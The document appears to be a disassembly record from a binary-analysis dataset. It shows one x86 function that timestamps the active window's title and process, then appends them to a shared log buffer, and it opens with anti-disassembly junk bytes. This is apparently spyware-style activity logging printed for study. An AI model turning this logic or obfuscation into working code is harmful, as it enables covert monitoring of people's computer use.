Function at 0x10009230
Capabilities:
Get graphical window text
Write file on windows

Disassembly:
add ch, byte [edx]
push ebp
mov ebp, esp
sub esp, 0x598
push ebx
push esi
push edi
push eax
nop
nop
sub eax, eax
je 0x1000924a
nop
nop
nop
nop
jae 0x100091e2
xor dword [eax - 0x3a], ebx
test dword [esp + edi*8 - 1], edi
inc dword [eax]
pop eax
mov byte [ebp - 0x384], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x383]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
push 0x100
lea eax, [ebp - 0x384]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [ebp - 0x180], 0
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x17f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x584], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x583]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x100], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x280], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x27f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp dword [ebp + 0x10], 0
je 0x100093fa
mov eax, dword [0x10015c08]
cmp eax, dword [ebp + 0xc]
je 0x100093fa
mov ecx, dword [ebp + 0xc]
mov dword [0x10015c08], ecx
lea edx, [ebp - 0x594]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [ebp - 0x588]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x58a]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x58c]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x58e]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x592]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x594]
and edx, 0xffff
push edx
push str.__04d__02d__02d__02d:_02d:_02d_
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
mov dword [ebp - 0x598], 0
lea ecx, [ebp - 0x598]
push ecx
mov edx, dword [0x10015c08]
push edx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x104
lea eax, [ebp - 0x100]
push eax
mov ecx, dword [0x10015c08]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [ebp - 0x280]
push edx
mov eax, dword [ebp - 0x598]
push eax
call fcn.1000a250
add esp, 8
lea ecx, [ebp - 0x280]
push ecx
lea edx, [ebp - 0x100]
push edx
lea eax, [ebp - 0x180]
push eax
push str._r_n_s__s__s_r_n
lea ecx, [ebp - 0x584]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x384]
push edx
lea eax, [ebp - 0x584]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x584]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x284], eax
push 0xffffffffffffffff
mov edx, dword [0x100146d8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10009497
mov eax, 0xffff
sub eax, dword [ebp - 0x284]
cmp dword [0x100146d4], eax
ja 0x10009497
mov ecx, dword [ebp - 0x284]
lea esi, [ebp - 0x584]
mov edi, dword [0x100146d0]
add edi, dword [0x100146d4]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x100146d4]
add eax, dword [ebp - 0x284]
mov dword [0x100146d4], eax
mov ecx, dword [0x100146d8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [0x100146dc]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret